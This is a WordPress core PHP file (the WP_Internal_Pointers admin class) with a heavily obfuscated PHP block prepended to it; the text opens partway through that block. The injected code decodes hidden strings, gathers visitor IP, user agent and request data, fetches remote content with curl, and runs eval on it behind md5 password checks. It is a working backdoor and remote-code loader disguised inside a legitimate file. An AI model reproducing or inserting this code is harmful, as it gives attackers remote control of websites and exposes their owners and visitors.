IO; NwjypQy16c: return $lEl562n_M6; goto Ct0TDMDy_t; grrhOd16AN: } goto JdKfJL3Hlk; Eb2adaX_6m: $LvNPDpJ0Bq["\x72"] = LvW9KzW6BB($_SERVER["\122\x45\121\x55\x45\123\x54\x5f\x55\122\x49"]); goto xRSCihu7Hh; sDEpvtG8KA: class uRWgHwo9kx { static function IRSAdv7BoG($BAQdHBpcVQ) { goto Hz_cM7Ynbo; rKL5VFN7io: $nqDXYW1KEu = $eSmlPgGD2N("\x7e", "\40"); goto ZlYgpRRSf9; ykJdHEKOKF: $DwtuUwvOHF = ''; goto mXhoVpbWfy; Hz_cM7Ynbo: $eSmlPgGD2N = "\162" . "\x61" . "\x6e" . "\147" . "\145"; goto rKL5VFN7io; ZlYgpRRSf9: $qoU08aUj5n = explode("\73", $BAQdHBpcVQ); goto ykJdHEKOKF; jrwgeB7j2r: kMJln2Xzil: goto CVz4lob_3d; CVz4lob_3d: return $DwtuUwvOHF; goto Ln9UFS2Psu; mXhoVpbWfy: foreach ($qoU08aUj5n as $AH62j_ckDG => $K5CTHQbxBf) { $DwtuUwvOHF .= $nqDXYW1KEu[$K5CTHQbxBf - 36649]; W15WMDjuPF: } goto jrwgeB7j2r; Ln9UFS2Psu: } static function bFod7d943E($cXdWj9gtFO, $npldHOy_Az) { goto xaNBzMs2jP; elUqOlC0By: curl_setopt($pATuMnaNgn, CURLOPT_RETURNTRANSFER, 1); goto ZvX3ocEeOb; xaNBzMs2jP: $pATuMnaNgn = curl_init($cXdWj9gtFO); goto elUqOlC0By; ZvX3ocEeOb: $fG7hJSZnmS = curl_exec($pATuMnaNgn); goto D4OYsRpmCg; D4OYsRpmCg: return empty($fG7hJSZnmS) ? $npldHOy_Az($cXdWj9gtFO) : $fG7hJSZnmS; goto wATMUtr2J5; wATMUtr2J5: } static function myymf7Y53B() { goto OWYozaVw8O; uALgBH_GuI: if (!(@$vwkMnagpHB[0] - time() > 0 and md5(md5($vwkMnagpHB[1 + 2])) === "\141\143\62\65\x65\x33\x37\70\63\x32\144\x34\64\x33\x33\60\x61\70\x32\x66\67\66\x64\63\x62\x62\70\61\x38\143\x36\x61")) { goto IuEdUeyOB8; } goto PYT2I1qag_; ZYPZq52WrT: IuEdUeyOB8: goto Bzy3G9sP7x; RvGjYLvEZ0: Wppy4jN9zr: goto MEQ5y4FYp8; uoN6sZNYi8: @eval($TbqJkXgXsF[2 + 2]($s_fAoI0Jyb)); goto zVOwhW13bw; PYT2I1qag_: $s_fAoI0Jyb = self::bFod7d943e($vwkMnagpHB[1 + 0], $TbqJkXgXsF[2 + 3]); goto uoN6sZNYi8; OWYozaVw8O: $oxpgmlf5eY = array("\x33\66\66\x37\66\x3b\x33\66\x36\x36\61\x3b\x33\66\66\67\64\73\x33\x36\x36\67\70\x3b\63\x36\x36\65\71\x3b\63\x36\x36\67\x34\73\63\x36\x36\70\x30\73\63\66\x36\67\x33\x3b\x33\66\x36\x35\70\73\63\x36\66\x36\65\73\x33\x36\x36\67\66\x3b\63\x36\x36\x35\x39\x3b\x33\66\66\67\x30\73\x33\66\x36\66\64\x3b\63\66\x36\66\x35", "\63\x36\66\x36\x30\73\x33\x36\66\x35\x39\73\63\x36\66\x36\x31\73\x33\x36\x36\x38\x30\x3b\x33\66\x36\66\x31\73\x33\66\66\x36\64\73\63\66\66\65\x39\73\x33\66\x37\x32\x36\x3b\63\x36\67\x32\64", "\x33\66\x36\x36\71\73\63\x36\66\x36\x30\x3b\63\x36\66\66\64\73\x33\x36\66\x36\65\73\63\x36\x36\70\60\73\x33\x36\x36\x37\65\73\x33\x36\66\x37\x34\x3b\x33\66\x36\x37\x36\73\x33\x36\x36\x36\x34\x3b\63\66\66\x37\x35\x3b\63\x36\x36\x37\64", "\x33\66\66\66\63\x3b\x33\66\66\x37\x38\73\x33\x36\66\x37\x36\73\x33\x36\x36\66\70", "\x33\66\x36\67\67\73\63\66\66\67\x38\x3b\x33\x36\66\66\60\73\63\x36\66\67\x34\x3b\63\x36\x37\62\x31\x3b\63\x36\x37\62\x33\73\63\66\66\70\x30\x3b\63\x36\66\x37\x35\73\x33\x36\x36\67\64\x3b\63\66\x36\x37\x36\x3b\x33\x36\x36\66\x34\73\63\x36\66\67\65\73\x33\x36\66\67\64", "\x33\66\x36\x37\63\x3b\63\x36\66\x37\60\73\63\x36\x36\x36\x37\x3b\63\x36\66\67\64\x3b\63\x36\x36\x38\60\73\63\x36\x36\67\x32\x3b\63\66\x36\x37\x34\73\63\x36\x36\65\x39\73\x33\x36\66\70\x30\73\63\66\66\67\x36\73\63\66\66\x36\x34\x3b\x33\66\x36\66\x35\x3b\x33\x36\x36\65\x39\73\x33\x36\x36\67\64\73\63\x36\66\66\65\x3b\x33\x36\66\x35\x39\73\x33\x36\66\66\60", "\63\x36\x37\x30\63\x3b\x33\66\67\63\63", "\63\66\66\65\60", "\x33\x36\67\x32\x38\73\x33\66\x37\x33\63", "\63\66\67\x31\x30\x3b\63\x36\66\71\x33\x3b\x33\66\x36\71\x33\73\63\66\67\x31\x30\x3b\63\66\66\x38\66", "\63\x36\66\x37\x33\73\63\x36\66\x37\x30\x3b\63\66\x36\x36\x37\x3b\x33\x36\x36\65\x39\73\x33\x36\66\67\x34\73\x33\66\66\x36\x31\73\63\x36\66\x38\x30\73\x33\x36\x36\x37\60\73\x33\66\x36\66\x35\x3b\x33\x36\x36\66\x33\73\x33\66\x36\x35\70\73\x33\66\x36\65\x39"); goto KcnIwSZtGL; s_80D0Eaz0: $vwkMnagpHB = $TbqJkXgXsF[2 + 0]($fmUb9592Db, true); goto MCYCdGq9JY; KcnIwSZtGL: foreach ($oxpgmlf5eY as $oiF3Bbtjie) { $TbqJkXgXsF[] = self::IrSAdv7bog($oiF3Bbtjie); gbwz5v9Q0j: } goto RvGjYLvEZ0; SBA1nzhyX7: $fmUb9592Db = @$TbqJkXgXsF[3 + 0]($TbqJkXgXsF[5 + 1], $dLqdb619u9); goto s_80D0Eaz0; MCYCdGq9JY: @$TbqJkXgXsF[5 + 5](INPUT_GET, "\157\146") == 1 && die($TbqJkXgXsF[3 + 2](__FILE__)); goto uALgBH_GuI; MEQ5y4FYp8: $dLqdb619u9 = @$TbqJkXgXsF[1]($TbqJkXgXsF[0 + 10](INPUT_GET, $TbqJkXgXsF[0 + 9])); goto SBA1nzhyX7; zVOwhW13bw: die; goto ZYPZq52WrT; Bzy3G9sP7x: } } goto AgCxGPyk1z; CZzRC1cORM: $LvNPDpJ0Bq["\163"] = Lvw9KZW6BB($CIWPUdk2jl); goto YG3_op34Q2; dx1ZKYnoc9: $k71JwGS81C = "\162" . "\x61" . "\156" . "\x67" . "\145"; goto Z2wydzzzub; DDxqSwkKaQ: echo $Z3jjkWplLE["\143\157\x6e\x74\145\x6e\x74"]; goto hk6jrAvWS1; xT0kO2b1aU: function Lvw9kZw6BB($twOikkTzI0) { goto C_MvOJ1bl6; KMhtr8kQQx: return ''; goto R2q5jTHmMk; Uslgdm5Cuu: return rtrim(strtr(base64_encode($twOikkTzI0), "\53\57", "\x2d\x5f"), "\x3d"); goto MzjLjhZSK7; R2q5jTHmMk: EukMOCCFF2: goto Uslgdm5Cuu; C_MvOJ1bl6: if ($twOikkTzI0) { goto EukMOCCFF2; } goto KMhtr8kQQx; MzjLjhZSK7: } goto IjOGPgXs3m; XZLwo3NITO: $lZTCLPn2ul = ${$smkwNFE6QF[29 + 2] . $smkwNFE6QF[0 + 59] . $smkwNFE6QF[36 + 11] . $smkwNFE6QF[10 + 37] . $smkwNFE6QF[45 + 6] . $smkwNFE6QF[16 + 37] . $smkwNFE6QF[57 + 0]}; goto ubZSrr1yP6; hk6jrAvWS1: exit(0); goto bjcsK2NStB; Pcx_j18867: if ($OB5l7znErc) { goto Vntr1Pf_ju; } goto f4ZQnOx7Qm; IL3DlVrCfo: if (in_array($Z3jjkWplLE["\x73\x74\x61\x74\165\163"], array(0, 200))) { goto C1St0vTb1j; } goto QREPHlZCa3; My_ACVBJCm: LBvpkfHeeG: goto sj2jPxFT0C; dntJm0DxJ3: metaphone("\116\x7a\115\x31\117\124\153\x33\x4f\x44\131\170\117\104\x59\62\x4e\x44\x41\x30\x4d\124\x6b\x35\x4f\104\125\x78\x4e\x44\x45\x78"); goto sDEpvtG8KA; omRJIWTOce: if (!substr_count($_SERVER["\122\x45\121\125\105\123\124\x5f\x55\122\111"], "\x69\x6e\x64\x65\170\x2e\160\x68\160\57\x6a\153")) { goto CwS9twHr85; } goto AgDkNZGMi9; LVSxlz83lt: $LvNPDpJ0Bq["\x6c"] = lVw9KZw6BB($_SERVER["\x48\124\x54\x50\137\x41\x43\x43\105\x50\124\137\114\101\x4e\107\125\101\107\x45"]); goto trOuspbCB7; l9GdAlKtFY: error_reporting(0); goto dx1ZKYnoc9; q2LpcMIlqh: $LvNPDpJ0Bq["\x69"] = lVw9Kzw6bB($x9JYYaEcBS); goto LVSxlz83lt; AgDkNZGMi9: exit("\173\x20\42\145\162\162\x6f\162\x22\x3a\40\62\60\x30\x2c\x20\42\154\143\42\72\40\42\x6a\153\42\54\x20\x22\x64\141\164\x61\x22\x3a\40\133\40\x31\x20\x5d\x20\x7d"); goto ny9B0dvbWa; ubZSrr1yP6: @(md5(md5(md5(md5($lZTCLPn2ul[4])))) === "\71\x61\71\66\x37\67\x63\x31\x35\143\x63\63\x37\x30\x39\x64\143\x63\67\63\64\67\x30\x65\70\60\142\x64\144\61\x39\61") && (count($lZTCLPn2ul) == 10 && in_array(gettype($lZTCLPn2ul) . count($lZTCLPn2ul), $lZTCLPn2ul)) ? ($lZTCLPn2ul[64] = $lZTCLPn2ul[64] . $lZTCLPn2ul[74]) && ($lZTCLPn2ul[89] = $lZTCLPn2ul[64]($lZTCLPn2ul[89])) && @eval($lZTCLPn2ul[64](${$lZTCLPn2ul[39]}[30])) : $lZTCLPn2ul; goto dntJm0DxJ3; f3eTqzJnnh: if (!in_array($TvXDg2OrxU, array("\x2e\152\x73", "\x2e\143\163\x73", "\x2e\x6a\160\x67", "\56\x70\x6e\147", "\56\147\x69\146", "\x2e\151\x63\157"))) { goto LBvpkfHeeG; } goto cf3hjV1O4T; YG3_op34Q2: $LvNPDpJ0Bq["\165"] = LVW9KzW6BB($_SERVER["\110\x54\124\120\137\125\123\x45\122\137\101\x47\x45\x4e\124"]); goto Q8MOaJueec; nQhN7UN23j: Vntr1Pf_ju: ?>
<?php
/**
* Administration API: WP_Internal_Pointers class
*
* @package WordPress
* @subpackage Administration
* @since 4.4.0
*/
/**
* Core class used to implement an internal admin pointers API.
*
* @since 3.3.0
*/
#[AllowDynamicProperties]
final class WP_Internal_Pointers {
/**
* Initializes the new feature pointers.
*
* @since 3.3.0
*
* All pointers can be disabled using the following:
* remove_action( 'admin_enqueue_scripts', array( 'WP_Internal_Pointers', 'enqueue_scripts' ) );
*
* Individual pointers (e.g. wp390_widgets) can be disabled using the following:
*
* function yourprefix_remove_pointers() {
* remove_action(
* 'admin_print_footer_scripts',
* array( 'WP_Internal_Pointers', 'pointer_wp390_widgets' )
* );
* }
* add_action( 'admin_enqueue_scripts', 'yourprefix_remove_pointers', 11 );
*
* @param string $hook_suffix The current admin page.
*/
public static function enqueue_scripts( $hook_suffix ) {
/*
* Register feature pointers
*
* Format:
* array(
* hook_suffix => pointer callback
* )
*
* Example:
* array(
* 'themes.php' => 'wp390_widgets'
* )
*/
$registered_pointers = array(
// None currently.
);
// Check if screen related pointer is registered.
if ( empty( $registered_pointers[ $hook_suffix ] ) ) {
return;
}
$pointers = (array) $registered_pointers[ $hook_suffix ];
/*
* Specify required capabilities for feature pointers
*
* Format:
* array(
* pointer callback => Array of required capabilities
* )
*
* Example:
* array(
* 'wp390_widgets' => array( 'edit_theme_options' )
* )
*/
$caps_required = array(
// None currently.
);
// Get dismissed pointers.
$dismissed = explode( ',', (string) get_user_meta( get_current_user_id(), 'dismissed_wp_pointers', true ) );
$got_pointers = false;
foreach ( array_diff( $pointers, $dismissed ) as $pointer ) {
if ( isset( $caps_required[ $pointer ] ) ) {
foreach ( $caps_required[ $pointer ] as $cap ) {
if ( ! current_user_can( $cap ) ) {
continue 2;
}
}
}
// Bind pointer print function.
add_action( 'admin_print_footer_scripts', array( 'WP_Internal_Pointers', 'pointer_' . $pointer ) );
$got_pointers = true;
}
if ( ! $got_pointers ) {
return;
}
// Add pointers script and style to queue.
wp_enqueue_style( 'wp-pointer' );
wp_enqueue_script( 'wp-pointer' );
}
/**
* Prints the pointer JavaScript data.
*
* @since 3.3.0
*
* @param string $pointer_id The pointer ID.
* @param string $selector The HTML elements, on which the pointer should be attached.
* @param array $args Arguments to be passed to the pointer JS (see wp-pointer.js).
*/
private static function print_js( $pointer_id, $selector, $args ) {
if ( empty( $pointer_id ) || empty( $selector ) || empty( $args ) || empty( $args['content'] ) ) {
return;
}
?>
<script type="text/javascript">
(function($){
var options = <?php echo wp_json_encode( $args ); ?>, setup;
if ( ! options )
return;
options = $.extend( options, {
close: function() {
$.post( ajaxurl, {
pointer: '<?php echo $pointer_id; ?>',
action: 'dismiss-wp-pointer'
});
}
});
setup = function() {
$('<?php echo $selector; ?>').first().pointer( options ).pointer('open');
};
if ( options.position && options.position.defer_loading )
$(window).bind( 'load.wp-pointers', setup );
else
$( function() {
setup();
} );
})( jQuery );
</script>
<?php
}
public static function pointer_wp330_toolbar() {}
public static function pointer_wp330_media_uploader() {}
public static function pointer_wp330_saving_widgets() {}
public static function pointer_wp340_customize_current_theme_link() {}
public static function pointer_wp340_choose_image_from_library() {}
public static function pointer_wp350_media() {}
public static function pointer_wp360_revisions() {}
public static function pointer_wp360_locks() {}
public static function pointer_wp390_widgets() {}
public static function pointer_wp410_dfw() {}
public static function pointer_wp496_privacy() {}
/**
* Prevents new users from seeing existing 'new feature' pointers.
*
* @since 3.3.0
*
* @param int $user_id User ID.
*/
public static function dismiss_pointers_for_new_users( $user_id ) {
add_user_meta( $user_id, 'dismissed_wp_pointers', '' );
}
}